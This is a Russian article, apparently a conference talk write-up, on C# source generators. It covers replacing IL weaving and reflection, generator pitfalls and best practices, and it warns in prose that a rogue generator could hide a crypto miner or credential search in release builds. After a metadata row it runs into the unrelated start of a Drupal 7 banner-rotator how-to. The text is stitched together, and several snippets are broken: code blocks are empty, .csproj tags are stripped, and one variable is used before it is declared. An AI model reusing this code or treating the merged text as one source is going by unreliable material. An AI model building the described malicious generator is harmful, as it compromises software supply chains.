На самом деле, на официальном сайте Microsoft, когда представляли генераторы, сказали, что всё это — code rewriting, оптимизация, logging injection, IL Weaving, переписывание кода. Всё это — замечательные и полезные сценарии, но генераторам они официально не подходят. Поэтому я хочу рассказать о нескольких обходных путях, которыми можно реализовать многие из подобных сценариев.
Например, `LoggingInjection` обычно подразумевает, что мы логируем какую-то информацию о вызове, как правило, в начале метода мы пишем какую-то информацию, например, о том, с какими аргументами был вызов, в конце — что он вернул, случились ли исключения, сколько времени занял вызов.
Например, добавлять подобную диагностическую информацию из коробки умеет
[PostSharp](https://www.postsharp.net/logging), при помощи атрибута [Log](https://github.com/postsharp/PostSharp.Samples/tree/master/Diagnostics/PostSharp.Samples.Logging.NLog).
```
[Log]
public Request(int id)
{
Id = id;
}
```
После компиляции получится 75 строк кода, суть которых сводится к тому, что мы в начале залогировали, с каким аргументом был вызов. Затем под `try` вызвали исходный код, который там был. Потом записали, что либо всё прошло успешно, либо что случилось исключение.
```
public Request(int id) {
if (localState.IsEnabled(LogLevel.Debug)) {
logRecordInfo = new LogRecordInfo(MethodEntry, …);
recordBuilder1.SetParameter(..., id);
}
try {
this.Id = id;
logRecordInfo = new LogRecordInfo(MethodException, …);
}
catch(Exception ex) {
logRecordInfo = new LogRecordInfo(MethodException, …);
recordBuilder1.SetException(ex);
throw;
}
}
```
Можно ли то же самое сделать при помощи генераторов и из старого доброго ООП?
Как заведено в ООП, любая проблема решается введением еще одного уровня абстракции.
Поэтому, если у нас есть, например, банковский сервис, который может поработать со счетами клиентов, скажем, получить баланс на них, то можно выделить его в интерфейс и затем реализовать бизнес-логику в одной реализации, в которой никакого логирования не будет, а генератором создать декоратор, который получит на вход объект бизнес-логики и реализует тот же самый интерфейс, но своей реализацией уже добавит все нужные вызовы, а затем просто делегирует управление в наш объект бизнес-логики.
В этом случае исходный код в вашем проекте будет содержать только бизнес-логику:
```
interface IAccountingService
{
AccountsSet GetAccounts(Client client);
decimal GetTotalBalance(AccountsSet accounts);
}
class AccountingServiceCore : IAccountingService
{
public AccountsSet GetAccounts(Client client) => …
public decimal GetTotalBalance(AccountsSet accounts) => …
}
```
А генератором вы создадите декоратор с поддержкой логирования:
На самом деле, с генераторами можно обойтись даже без интерфейса — сделать приватную реализацию, в которой будет только бизнес-логика, а затем генератором добавить в тот же самый тип публичный метод, в котором уже будет логирование.
Но все возможности IL Weaving заменить всё равно не выйдет, либо оно просто этого не стоит. Например, в Fody есть `NullGuard`, который позволяет добавить проверку на null всем аргументам каждого метода. Можно ли сделать это декораторами? Наверное, можно, но вряд ли это будет удобно.
В качестве другого примера можно привести add-in, который позволяет добавить `ConfigureAwait` каждому ожиданию асинхронного вызова. В этом случае модифицируется код в середине метода, а не на его границе, поэтому в данном случае не получится решить проблему при помощи декораторов.
Возможность модифицировать исполняемый код в любом месте программы нужна сравнительно редко, но может предоставлять поистине уникальные возможности. В PostSharp, например, есть возможность обнаружить `deadlock` за счет того, что мы каждый раз, когда работаем с синхронизационными примитивами, создаем запись в лог о том, какие локи мы взяли, какие отпустили, и если программа зависла, по ним потом можно будет найти, где и как именно случилась проблема.
Поскольку мы модифицируем код внутри метода, то генераторами это сделать уже не удастся, ведь генератор не может изменить существующий код, только добавить новый…
Или удастся? Ведь генератор видит весь исходный код вашего проекта, и это значит, что вы можете создать шаблон, заготовку метода или даже всего типа, посмотреть на нее генератором и создать дубликат, вставив в него нужные строки в каких-то местах.
Например, в вашем исходном коде вы можете написать логику, которая работает с локом, а затем генератором создать копию этого типа, но в ней добавить какую-то диагностическую информацию в работу с локом, и затем пользоваться только этим типом, созданным генератором.
Если очень хочется сделать это именно при помощи генераторов, то с креативным подходом возможно всё. Но, скорее всего, это будет уже не очень удобно.
Подводя итог разнице между генераторами и IL Weaving, я думаю, он станет более нишевым, потому что у него есть большое число заменяемых плагинов. Но часть его возможностей всё равно уникальна, поэтому он останется с нами.
Есть небольшая разница в реализации: генераторы гораздо проще дебажить и тестировать, зато на этапе компиляции у IL Weaving не видно деталей реализации. Поэтому, например, `PropertyChanged` я, скорее всего, буду реализовывать при помощи Fody, дебажить эти свойства мне никогда не надо. Но, например, уже при создании какого-то метода эквивалентности, который я возможно захочу подебажить, я сделаю при помощи генераторов.
И есть еще один вид кодогенерации — это рантайм-генерация при помощи класса `ILGenerator`. В рантайме мы создаем генератор и просто пишем байткод. Возможно, напрямую вы им не пользовались, но, например, могли пользоваться `Expression.Compile()`.
Часто этим классом тоже пользуются, чтобы просто сэкономить время на шаблонной реализации логирования, сериализации, маппинга, шифрования. Поскольку всё это известно на этапе компиляции, то такие сценарии можно отлично заменить генератором.
Тем не менее, зачастую `ILGenerator` используется для обработки данных, которые доступны только в рантайме, например, если вам хочется создать код для интерпретации переданного пользователем регулярного выражения. В этом случае на этапе компиляции, когда отрабатывают новые генераторы, вы просто не знаете, какой код должны будете создавать, поэтому для таких сценариев вам по-прежнему потребуется `ILGenerator`.
Рефлексия
---------
Еще один инструмент метапрограммирования, который хотелось бы упомянуть, — это рефлексия.
Казалось бы, какая здесь связь? Рефлексией мы никакого нового кода не создаем. Мы просто работаем с существующими объектами. Но на самом деле, часто рефлексия используется просто чтобы сократить код. Например, когда вы сериализуете объект, неважно чем — `Newtonsoft.Json`, `System.Text.Json`, `DataContractSerializer` — чтобы сериализовать объект, нужно посмотреть, какие в нём есть поля и свойства, разумеется, при помощи рефлексии.
Мы могли бы этого избежать, если бы у нас в каждом объекте просто был метод, скажем, сериализации в JSON или XML. В этом случае нам не пришлось бы прибегать к рефлексии, а код работал бы быстрее. Просто мы обычно не пишем специальный код для сериализации каждого отдельного типа, потому что это очень много кода, и его потом приходится поддерживать и обновлять каждый раз, когда вы добавляете или изменяете поля сериализуемого объекта.
Я нашел генератор [JsonSrcGen](https://github.com/trampster/JsonSrcGen), который как раз предоставляет методы сериализации для каждого типа в проекте, и согласно замерам автора, время первого старта приложения и первой сериализации уменьшилось на несколько порядков. Если это является узким местом производительности для вашего приложения, то здесь тоже можно использовать генераторы и сократить использование рефлексии до минимума.
Можно также оптимизировать Dependency Injection. Ниже представлен пример заполнения контейнера для AutoFac-фреймворка, который регистрирует все типы в сборке в качестве интерфейса, в котором они реализуются. Делает он это, разумеется, рефлексией.
```
var builder = new ContainerBuilder();
var asm = GetExecutingAssembly();
builder.RegisterAssemblyTypes(asm)
.AsImplementedInterfaces();
```
С генератором мы могли бы предоставить метод наполнения этого контейнера, который бы статически регистрировал все типы из сборки, известные ему на этапе компиляции.
Так же как и с ILGenerator, заменить рефлексию сгенерированным кодом будет возможно, только если все данные, нужные вам для генерации кода, доступны на этапе компиляции. Если вы используете рефлексию для того, чтобы исследовать разные объекты в рантайме или обойти ограничения компилятора, например, поработать с приватными методами или свойствами, то здесь, разумеется, заменить ее генераторами не выйдет.
Как поменяется мир метапрограммирования?
----------------------------------------
Подводя итог существующим технологиям, можно сказать, что IL Weaving в лице Fody и PostSharp, скорее всего, станет нишевым, но свои преимущества у него есть. ILGenerator и рефлексия — тут всё зависит от ваших сценариев.
Единственная технология, которая, скорее всего, уйдет, — это T4-шаблоны. Как и генераторы, они только создают новые файлы, у них свой синтаксис, у которого нет прямой поддержки в IDE. Например, Roslyn уже использует генераторы там, где мог бы быть T4. У команды компилятора есть XML-файл с описанием языка C#, из которого создаются классы синтаксических элементов. Раньше они пользовались самописным скриптом, который генерировал C#-файлы. Можно посмотреть пулл-реквест, в котором они заменили его на генератор. Единственное преимущество T4 — он может создавать не только C#-файлы, а вообще что угодно, и вам гораздо проще контролировать время запуска.
Если у вас какая-то тяжелая работа, которую вы хотите закэшировать, то лайфтайм генераторов для этого не очень подходит.
Примечание: с момента подготовки доклада появились [инкрементальные генераторы](https://github.com/dotnet/roslyn/blob/main/docs/features/incremental-generators.md), которые в некоторых случаях позволяют решить эту проблему и предоставляют больший контроль над тем, как часто и по каким причинам срабатывает запуск генератора.
Проблемы при использовании генераторов
--------------------------------------
Возможно, вы не очень хотите писать генератор самостоятельно. Здесь хорошие новости: генератор [можно](https://github.com/dotnet/roslyn/blob/main/docs/features/source-generators.cookbook.md#package-a-generator-as-a-nuget-package) подключить как обычный NuGet-пакет, и всё будет работать. Поделиться своим генератором не сложнее, чем Roslyn-анализатором. Только помните, что в этом случае вы пишете код для чужого проекта.
Первое, что рекомендуется сделать — проверить версию языка. Существует распространенное заблуждение, что генераторы — фича C# 9. Но на самом деле это просто фича компилятора. Подключить генератор вы можете к любому проекту, например, хоть на C# 4. Если вы при этом воспользуетесь в сгенерированном коде рекорд-типами или паттерн-матчингом, то они просто создадут потребителям генератора ошибки компиляции.
Также рекомендую проверять рантайм, потому что если вы, например, в проекте для .NET-фреймворка создаете дефолтную реализацию интерфейса или используете ковариантность возвращаемых значений, то ничего не заработает.
Думайте обо всех сценариях. Приведу [пример](https://github.com/dotnet/roslyn-sdk/blob/main/samples/CSharp/SourceGenerators/SourceGeneratorSamples/AutoNotifyGenerator.cs):
```
// begin building the generated source
StringBuilder source = new StringBuilder($@"
namespace {namespaceName}
{{
public partial class {classSymbol.Name} : {notifySymbol.ToDisplayString()}
{{
");
```
Autonotify-реализация от Microsoft — генератор, создающий NotifyPropertyChanged-свойства. Вот так начинается генерация этого типа: создается namespace, в нём лежит `public partial class`, реализующий этот интерфейс, дальше добавляются свойства. Всё очень похоже на мое демо.
Я часто занимаюсь модификациями кода, которые предлагает ReSharper. Поэтому первое, что мне здесь бросается в глаза, — это то, что здесь использован `class`. Структуры, реализующей `NotifyPropertyChanged`, наверное, не будет, а record — почему бы и нет?
Почему `public class`, а не `internal class`? Почему он лежит напрямую в `namespace`, ведь тип, который вы хотите расширить, может быть вложен в другой? Почему здесь вообще всегда пишется `namespace`, ведь я могу оставить его в глобальном неймспейсе сборки? Тогда имя неймспейса будет пустым и этот код тоже не скомпилируется. Так что даже в таком простом деле, как объявить тип в чужом проекте, существует огромное количество подводных камней и, к сожалению, как только вы начинаете заниматься метапрограммированием, обо всём этом приходится думать.
В том числе вам придется подумать, какие зависимости есть у кода, который вы создаете. Например, если вы создаете методы сериализации объекта, и у вас есть какой-то fallback, например, для массивов примитивных типов вы хотите использовать `Newtonsoft.Json`, то вам [потребуется](https://github.com/dotnet/roslyn/blob/main/docs/features/source-generators.cookbook.md#use-functionality-from-nuget-packages) указать, что тот, кто добавит пакет с генератором в ваш проект, должен также подключить и `Newtonsoft.Json`.
Как это сделать, можно посмотреть по [ссылке](https://github.com/dotnet/roslyn/blob/main/docs/features/source-generators.cookbook.md#use-functionality-from-nuget-packages).
Я также рекомендую проверить в самом генераторе, что этот пакет действительно есть, потому что через несколько лет человек может забыть, зачем ему `Newtonsoft.Json`, который никогда не используют, и просто удалить его.
Также для работы генератора может оказаться недостаточно информации о C#-коде, предоставленной ему компилятором, например, вам могут потребоваться дополнительные данные, скажем, XML-файл с настройками, конфигурацией или схемой генерируемых типов. Они не являются частью C#-проекта, поэтому по умолчанию вам компилятор их не предоставит.
Для этого есть дополнительный тег `AdditionalFiles`, который позволяет предоставить подключенным генераторам доступ к любым дополнительным файлам. На стороне генератора вы затем сможете прочитать их из одноименного свойства в контексте генератора. К таким файлам также можно прикрепить дополнительные свойства. Например, если это файл, из которого будет создан какой-то тип, то нелишним будет указать, в каком неймспейсе создавать этот тип, или с каким именем.
Сделать всё это можно при помощи еще одного тега — `CompilerVisibleItemMetadata`.
```
```
Также можно предоставить генераторам доступ к MSBuild-свойствам, сделать через них любую top level-конфигурацию, например, включить или отключить генератор, выдавать из генератора диагностическую информацию. Мне очень понравился пример, когда человек по MSBuild-флажку заходит в ветку с `Debugger.Launch()` и дебажит генератор, только указав, что хочет это сделать.
Примечание: со времени подготовки доклада появилась более простая возможность подключения дебаггера к генератору. Вы можете добавить в проект генератора файл `launchSettings.json` и указать что это генератор, и добавить команду `DebugRoslynComponent` с указанием, для какого конкретно проекта должен быть запущен генератор при исполнении этой команды. Теперь вы можете просто выбрать конфигурацию с генератором в качестве запускаемого проекта и дебажить его в один клик.
Пример конфигурации в `launchSettings.json`:
```
{
"profiles": {
"Generator": {
"commandName": "DebugRoslynComponent",
"targetProject": "..\\Target.csproj"
}
}
}
```
Можно также сконфигурировать код, который создается, например, указав через отдельное свойство неймспейс для всех сгенерированных типов. Если это logging generator, то выбрать фреймворк, с каким уровнем логировать отдельные элементы, или что вообще логировать.
Сделать это [можно](https://github.com/dotnet/roslyn/blob/main/docs/features/source-generators.cookbook.md#consume-msbuild-properties-and-metadata) при помощи `CompilerVisibleProperty`, которое затем можно [прочитать](https://jaylee.org/archive/2020/09/13/msbuild-items-and-properties-in-csharp9-sourcegenerators.html) из генератора при помощи свойства `GlobalOptions` с префиксом `build_property`.
Например, если вы хотите передавать опцию, включающую/выключающую логирование, это можно сделать следующим кодом:
В .csproj:
В коде генератора:
`context.AnalyzerConfigOptions.GlobalOptions .TryGetValue("build_property.EnableLogging" , out var emitLoggingSwitch);`
Еще один интересный вопрос: что делать, если генераторов несколько? С чем будет [работать](https://devblogs.microsoft.com/dotnet/introducing-c-source-generators/) второй генератор?
Допустим, нашли на NuGet генератор для логгинга и хотите сами написать кэширование. Сможет ли один из генераторов увидеть код, созданный другим генератором для того же проекта, и воспользоваться им?
На схеме ниже я покажу, как работают два генератора с одним проектом. Обратите внимание, что структуры данных, которые компилятор передает в генераторы, являются иммутабельными.
Создав информацию о коде проекта один раз, компилятор передает иммутабельный объект с ней во все генераторы, таким образом, они абсолютно не зависят друг от друга и создают новые файлы, которые затем становятся частью целевого проекта одновременно, после того как все генераторы завершили работу.
Что это значит? Во-первых, генераторы только создают код в текстовом виде, поэтому вы можете легко из одного генератора использовать тип, который когда-нибудь создаст другой, не думая о том, какой из генераторов отработает раньше. Все файлы от всех генераторов будут компилироваться вместе, поэтому если вы используете тип, который должен будет когда-то позже создать другой генератор, то проблемы нет — вы легко можете это сделать.
Во-вторых, поскольку вы добавляете новые файлы, любой вызов можно абстрагировать за интерфейсом. Например, если вы хотите добавить одним генератором логирование, а другим — кэширование, вы в исходном коде можете объявить интерфейс и написать бизнес-логику. Затем одним генератором создать логирующий декоратор, другим — кэширующий.
Затем уже либо в контейнере зависимостей, либо вручную собрать из этих декораторов правильную последовательность. В зависимости от того, в каком порядке вы эти типы будете оборачивать в декораторы, вы можете даже настроить поведение — либо будут логироваться все вызовы, либо только уникальные, которые не пошли в кэш.
`var logsAllCalls = new LoggingLogic(new CachingLogic(new LogicImpl()));`
`var logsUniqueArguments = new CachingLogic(new LoggingLogic(new LogicImpl()));`
Последнее, что хочу здесь посоветовать, — [используйте](https://github.com/dotnet/csharplang/blob/main/proposals/csharp-9.0/extending-partial-methods.md) новый partial. В C# 8 partial-методы могли быть только приватными методами, которые ничего не возвращают.
В C# 9 у нас появилась возможность делать их публичными, возвращать из них значения.
```
partial class MyType
{
partial void OnModelCreating(string input); // C# 8
public partial bool IsPetMatch(string input); // C# 9
}
```
Но если уж мы из этого метода возвращаем значение, то оно должно откуда-то взяться. А именно, из реализации этого partial-метода в другой части типа.
```
partial class MyType
{
public partial bool IsPetMatch(string input)
=> input is "dog" or "cat" or "fish";
}
```
Поэтому такой partial-метод обязан иметь реализацию в другой части этого типа. У вас получается `abstract` в рамках одного типа. То есть если вы его объявили, то обязаны и предоставить реализацию.
Возникает закономерный вопрос: зачем тогда вообще нужен `partial`, если я все равно должен предоставить реализацию? Может быть, ее сразу же сюда и написать? И ответ на этот вопрос — для удобства использования генераторов. Вторая часть типа, содержащая реализацию такого partial-метода, может быть в сгенерированном коде. В этом случае у такой декларации есть две важные функции.
Во-вторых, когда через несколько лет вы (или ваш коллега) откроете файл с этим типом, вы сразу увидите в нем декларации методов и будете знать всё о том, что это за тип и какие методы в нем есть, без необходимости исследовать все его сгенерированные части. Простая partial-декларация позволит вам сразу узнать о функциях, доступных в этом типе, и предоставит точку для удобной навигации к реализации этого метода.
Best practices
--------------
Наконец, я хочу предложить несколько советов о том, как писать генераторы на еще одном примере. У меня есть готовый logging-генератор и простая программа, которая эмулирует работу банковского сервиса, возвращая тестовые данные. Когда я запускаю программу, мне выдается информация, с какими аргументами я вызываю эти интерфейсы, сколько времени занимают эти вызовы, что они вернули.
Я начинаю вызов `GetTotalAccountBalanceRemainder` для клиента Пети, запрашиваю счета этого клиента (`GetClientAccounts`). Возвращается несколько счетов (`Return value : Accounts`), сумма минус 5 000 рублей — Петя мне должен. Всё это заняло 216 мс.
А при запросе для клиента Васи у меня вообще случилось исключение. Сделано это как раз при помощи logging-декоратора. Если я поищу реализации использованных интерфейсов в программе, я увижу, что у меня есть две реализации: реализация с бизнес-логикой в моем исходном коде и вторая реализация, которая предоставлена генератором. Здесь тот же самый интерфейс реализуется методом, который добавляет запись в лог, а затем передает управление основному объекту бизнес-логики.
Сделано это генератором, который очень похож на тот, что в первоначальном демо. Мы точно так же обходим все файлы в проекте, находим все объявления типов, затем я смотрю, что эта декларация имеет атрибут Log. Если это интерфейс, то я создаю к нему какую-то partial-часть, которая реализует этот интерфейс, уже добавляя запись в лог.
Всё очень похоже на мой исходный пример, только кода больше, поэтому это отличная стартовая точка, чтобы рассказать о всех нюансах реализации, которые я для краткости опустил в первом примере.
Вы можете посмотреть исходный проект и модификации в работе генератора в нем [по ссылке](https://github.com/TessenR/BestPracticesSourceGeneratorsDemo) на GitHub.
**Не полагайтесь на синтаксис для семантических проверок**. Например, если вам нужно проверить, что тип отмечен атрибутом `LogAttribute`, вы можете просто проверить синтаксически наличие атрибута `[Log]` для типа, и это будет работать в простых ситуациях. Но в реальном коде он может быть записан и как `[Log]`, и как `[LogAttribute]`, и даже любым другим именем благодаря тайп-алиасам, например `[Generate]`, если в файле или проекте есть `using GenerateAttribute = LogAttribute;`. Для того чтобы вам не пришлось обрабатывать все эти случаи самостоятельно, а пользователи вашего генератора не ломали голову над тем, почему что-то не работает, вы можете сразу перейти к семантической модели типа и посмотреть, какие у него есть атрибуты. В этом случае вам уже не придется думать ни о том, как именно они записаны, ни о том, что у типа может быть несколько деклараций и атрибут может быть на любой из них.
**Проверяйте `CancellationToken`, доступный в контексте генератора**. Компилятор может запускать генераторы очень часто, буквально несколько раз на один введенный символ в редакторе кода. Скорее всего, если разработчик активно печатает код в редакторе, к моменту, когда генератор завершит работу, созданный им код будет уже не нужен — код в проекте уже изменится, и генератор уже будет запущен заново.
Чтобы избежать ненужной работы в таком сценарии, вы можете проверять, что компилятор всё еще ждет от вашего генератора результат, проверив `context.CancellationToken`.
**Используйте `SyntaxReceiver`, чтобы сохранить интересующие вас синтаксические элементы до запуска генератора**. Зачастую генератору потребуется исследовать код проекта и посмотреть, например, какие типы в нем объявлены. Вы можете сделать это, обойдя код всего проекта в методе `ISourceGenerator.Execute`, но в таком случае вы каждый раз будете тратить на это время, а результаты не могут быть переиспользованы другими генераторами.
Вместо того чтобы самостоятельно обходить все синтаксические деревья в проекте, вы можете в методе `Initialize` зарегистрировать `ISyntaxReceiver`. Это тип со всего одним методом `OnVisitSyntaxNode`, который будет вызван компилятором для того, чтобы оповестить генератор о наличии в проекте данного синтаксического элемента. Затем вы можете сохранить интересующие вас элементы, например декларации типов или методов, и в основной работе генератора работать с этой созданной заранее коллекцией, вместо того чтобы исследовать весь код проекта заново.
В этом случае вы фактически заменяете pull-модель. Когда вы сами ищете нужную вам информацию в том, что предоставил компилятор на push-модель, то он, один раз подготавливая модель кода для всех подключенных к проекту анализаторов и генераторов, один раз сообщит вам о наличии какого-то элемента. Эта информация будет переиспользована всеми генераторами, задействующими `SyntaxReceiver`.
Обратите внимание, что в `SyntaxReceiver` вы работаете исключительно с синтаксисом, на данном этапе вы не можете проверить никакую семантическую информацию — она просто еще не готова, поэтому здесь вам нужно будет ограничиться простыми синтаксическими проверками, например, типом синтаксического элемента, который вы хотите обработать.
**Если вы пользуетесь генераторами, поднимите уровень компиляторного предупреждения CS8785 до ошибки**.
Данное предупреждение сообщает, что какой-то из генераторов, подключенных к проекту, выдал исключение и не смог создать код. Как правило, отсутствие кода, который должен был создать генератор, приводит к огромному количеству ошибок — отсутствию в проекте нужных типов, реализаций методов, интерфейсов и т. д. В этом списке ошибок легко не заметить всего лишь предупреждение компилятора, хотя оно указывает на причину всех дальнейших проблем.
**Предоставьте нужные для работы генератора типы, например, атрибуты для управления генератором как часть созданного генератором кода**. Одним из распространенных вариантов конфигурации генератора является использование атрибутов в целевом проекте для того чтобы обозначить типы, которые каким-либо образом будут обработаны генератором.
К сожалению, это создает еще одну интересную проблему: откуда в пользовательском проекте появятся эти типы? Не распространять же генератор с инструкцией «а для запуска объявите, пожалуйста, вот эти атрибуты в вашем проекте»?
К сожалению, у каждого способа их предоставить есть свои недостатки.
Лучшим, но, возможно, не слишком удобным способом будет создать еще одну, отдельную от генератора сборку, объявить нужные вам атрибуты в ней, а затем указать зависимость генератора от пакета с атрибутами. Однако, это означает, что вам придется разбивать генератор на несколько пакетов, зависящих друг от друга, в одном из которых, вероятно, будет всего несколько маркерных атрибутов.
Еще один способ — объявить их в проекте с генератором. К сожалению, это будет значить, что у проекта, обработанного вашим генератором, будет рантайм-зависимость от сборки с генератором, ведь теперь в этом проекте используются атрибуты из этой сборки. Это означает, что потребители вашего генератора обязаны будут поставлять его как часть своего продукта, что может быть неудобно.
Еще один способ — создать нужные вам атрибуты прямо в генераторе. Ведь вы же создаете код для пользовательского проекта, почему бы не создать еще и несколько типов, которые ему потребуются? Однако, здесь есть интересная проблема — если помните, весь код, добавленный всеми генераторами, появится в проекте одновременно, когда они все завершат работу. Это означает, что ваш генератор не сможет воспользоваться атрибутом, который сам же создал — атрибут будет добавлен лишь после того, как он завершит работу! Но здесь есть и обходной путь — вы можете модифицировать тот объект `Compilation`, который передал вам Roslyn. Сам объект иммутабелен, поэтому это никак не помешает остальным генераторам. Всё, что вам нужно — создать синтаксическое дерево нужного вам атрибута и добавить его при помощи метода `AddSyntaxTrees`.
```
var logSyntaxTree = CSharpSyntaxTree.ParseText(logSrc, options);
compilation = compilation.AddSyntaxTrees(logSyntaxTree);
var options = (CSharpParseOptions)
compilation.SyntaxTrees.First().Options;
```
**Примечание**: со времени подготовки доклада появилась возможность добавлять подобные статичные ресурсы в методе `ISourceGenerator.Initialize` с помощью вызова `GeneratorInitializationContext.RegisterForPostInitialization`. Это более эффективно, так как вам не требуется менять семантическую модель проекта, с которым вы работаете, добавлением в него новых типов; и делается однократно, а не на каждый запуск генератора.
**Выдавайте из генератора диагностики, если вы нашли проблему в конфигурации, например, если ваш генератор попросили обработать класс, а он поддерживает только интерфейсы**. Еще одним правилом хорошего тона при написании генератора будет сообщить пользователю о проблеме, если он сконфигурировал генератор неправильно. У вас, конечно, всегда есть опция просто не обрабатывать проблемы конфигурации и либо игнорировать неправильную конфигурацию, либо рассчитывать, что будет выброшено исключение, с которым пользователь разберется сам.
Но согласитесь, гораздо лучше было бы указать на конкретную проблему. К счастью, у вас есть для этого все возможности! Генераторы на самом деле также являются и анализаторами кода. На самом деле разница между ними уже довольно размыта: вы можете написать генератор, который только анализирует код и выдает предупреждения, не создавая нового кода.
Например, если ваш генератор может работать только с интерфейсами, а пользователь при помощи атрибута попросил его обработать класс, вы можете воспользоваться методом `context.ReportDiagnostic(Diagnostic.Create(...))` и сообщить ему, что именно пошло не так. Также у каждого синтаксического элемента есть метод `.GetLocation()`, при помощи которого вы можете показать разработчику конкретную строчку, на которой случилась проблема, и позволить ему снавигироваться к ошибке.
**Используйте CompilerVisibleProperty и AdditionalFiles, чтобы предоставить дополнительную информацию генератору**. Иногда генератору недостаточно той информации, которую он может получить, исследовав C#-проект, к которому он подключен. В таких случаях вы можете предоставить дополнительную информацию из msbuild-свойств или дополнительных файлов, сделав их доступными генератору при помощи новых тегов в .csproj.
Кроме того, с их помощью вы можете выполнять высокоуровневую конфигурацию генератора. Например, вы можете при помощи свойства задать уровень логирования отдельных элементов, включить или выключить логирование вообще.
По [ссылке](https://github.com/TessenR/BestPracticesSourceGeneratorsDemo/commit/02148b075ca2c50efddef5b8211714b3ffebe9fc) вы можете посмотреть пример, в котором я при помощи отдельного свойства управляю тем, будут ли зашифрованы логи приложения, добавленные при помощи генератора. Я установил свойство `LogEncryption` в `true` только для релизных билдов, поэтому я смогу без проблем читать логи из дебаг-билдов, но шифровать в релизных безо всяких дополнительных действий. Также вы можете предоставить дополнительные данные в отдельных файлах, например, вы можете не хотеть указывать в коде генератора ключ шифрования, а использовать отдельный файл с ключом, который будет отличаться на машине разработчика и в продакшен-билдах.
**Помните о том, что генераторы — это third-party код, и они могут быть использованы, чтобы добавить в ваше приложение уязвимость**. С большими возможностями приходит и большая ответственность. Генераторы могут быть использованы в том числе и в злонамеренных целях, причем возможности для этого у них огромны.
Вероятно, все помнят нашумевшую историю с Solarwinds, когда злоумышленники смогли исполнить свой код как часть билд-процесса и модифицировать сборку продукта, поставляемую клиентам компании. Если задуматься, генераторы — это и есть часть билд-процесса, которая к тому же явным образом модифицирует сборку, которую вы будете поставлять вашим клиентам как часть вашего продукта. Причем генератор — это код, который исполняется при каждой сборке, поэтому он может по косвенным признакам попытаться обнаружить, что сборка идет на билд-сервере, что идет сборка релизного билда, и сгенерировать по этим условиям код, отличный от того, что он создавал на машине разработчика.
Во-первых, это значит, что в отличие от сторонних библиотек, у вас нет возможности проверить, что делает тот код, который вы вызываете в своем приложении. Подключенная библиотека будет одинаковой и на вашей машине, и на билд-сервере, а код, созданный генератором, может отличаться.
Во-вторых, для того чтобы исполнить какой-то код, генератору даже не требуется, чтобы вы вызвали сгенерированный им метод. В C# 9 появились инициализаторы модулей, которые исполняются в момент загрузки вашей сборки. Генератор может добавить инициализатор модуля и запустить в нем какую-то асинхронную активность, например, майнинг криптовалюты или поиск файла с конфигурацией подключения к базе данных с персональной информацией ваших клиентов. Причем все эти действия будут исполняться как часть вашего приложения — на машинах ваших клиентов и с правами вашего приложения.
По [ссылке](https://github.com/TessenR/BestPracticesSourceGeneratorsDemo/commit/077cac56bf07a6e68d7a7c5d324c4490bb8c3674) вы можете посмотреть простой пример генератора, который добавляет в проект симулятор майнера при помощи инициализатора модуля, но делает это только в релизном билде.
**Примечание**: со времени подготовки доклада команда компилятора предоставила и способ защититься от подобных уязвимостей. Вы можете попросить компилятор сохранять на диск все файлы, созданные генераторами, а затем проверить, что на билд-сервере генератор создал именно тот код, который вы видели при разработке, и не добавил в него никаких сюрпризов.
Сделать это вы можете при помощи двух новых тэгов в .csproj:
`true`
`..\GeneratedFiles`
Выводы
------
* Проверяйте CancellationToken
* Используйте ISyntaxReceiver
* Поднимите CS8785 до ошибки
* Выдавайте диагностики
* Предоставьте необходимые атрибуты как часть генератора
* Делайте генераторы конфигурируемыми
* Проверяйте, что добавляете в проект
Что в итоге?
------------
* Генераторы делают создание шаблонного кода еще проще
* Они решают многие типичные проблемы метапрограммирования, такие как навигация, дебаг, тестирование, порог вхождения
* Возможности оптимизации старта приложения
* Многие виды кодогенерации становятся более нишевыми
* Генераторы только добавляют код
Примеры генераторов
-------------------
* [JsonSrcGen](http://bit.ly/2I6SKCk) — сериализация в JSON без рефлексии
* [ThisAssembly](http://bit.ly/2TSKVTr) — константы текущей сборки: версия, название сборки, продукта
* [StringLiteralGenerator](http://bit.ly/367RvuJ) — `ReadonlySpan` любой строки, заданной в атрибуте
Полезные ссылки
---------------
* [Source Generators cookbook](http://bit.ly/3mFxR0G)
* [Примеры от Microsoft](http://bit.ly/2FLih3e)
* [Детальный разбор нескольких примеров генераторов](http://bit.ly/2HrZ2fp)
* [Ссылки и советы по использованию генераторов](https://gist.github.com/TessenR/ab40df2d6e971a8d6e5c6c6295d85d11)
На этом всё, спасибо за внимание!
*Следующий [**DotNext**](https://dotnext.ru/?utm_source=habr&utm_medium=690040) пройдёт в ноябре по хитрой схеме:*
*— 3-4 ноября: онлайн-часть*
*— 20 ноября: офлайн-часть в Москве с онлайн-трансляцией для тех, кто не готов добраться*
*Так что можно хоть посмотреть все доклады удалённо, хоть увидеть спикеров и других участников лично. Как обычно, будет много подобного технического контента про .NET — так что, если вы .NET-разработчик, обратите внимание.* | https://habr.com/ru/post/690040/ | null | ru | null |
# How-to: Как создать красивый и функциональный баннер ротатор средствами Drupal 7
Обычно я не пишу статьи на тему как использовать те или иные готовые модули для реализации некоторой функциональности. Гораздо больше меня интересует непосредственно создание модулей, взаимодействие с ядром, работа с различными API и т.п. «программистские» и архитектурные вещи.
Но, на этот раз, по многочисленным просьбам трудящихся я все таки решил написать один How-to.
Итак, речь в настоящей статье пойдет о том, как готовыми средствами Drupal 7 и парой шаблонов реализовать баннер-ротатор наподобии того, что встроен в один из моих ресурсов (<http://labridge.ru>).
Конечный результат должен выглядеть примерно так:
#### The Big Idea
Думаю не нужно долго вдаваться в подробности того зачем нужны баннер-ротаторы. Применяются чаще всего на главных страницах сайтов, служат для того что обратить внимание пользователя на некоторую информацию, будь то специальные предложения, товары со скидами или горячие новости. Чаще всего являются активными и предоставляют пользователю возможность перейти по некоторой ссылке для более подробного ознакомления.
Когда я думал над архитектурой будущего ротатора у меня было два варианта:
1. На сайте есть набор материалов. Можно было бы для каждого типа материалов назначить нужные поля, какое-нибудь булево поле с названием «Поместить в ротацию» и далее осуществлять через Views вывод отмеченных этой галочкой материалов в ротатор.
2. Создать отдельный тип материалов «Баннер для ротатора» и выводить в ротатор его.
Понятно, что плюсом первого варианта является удобство. Отметил материал галочкой и вот он уже в ротаторе.
Однако, второй вариант показался мне более логичным и более гибким. Во-первых не надо нагружать все материалы без исключения дополнительными полями для ротатора (что конечно в Drupal 7 с его системой полей не слишком болезненно, но все же). Во-вторых, если сделать каждый баннер в виде отдельного материала, то можно сослать его не только на материал внутри сайта но и на какой-то внешний ресурс.
Вообщем по итогам недолгого размышления я остановился на втором варианте.
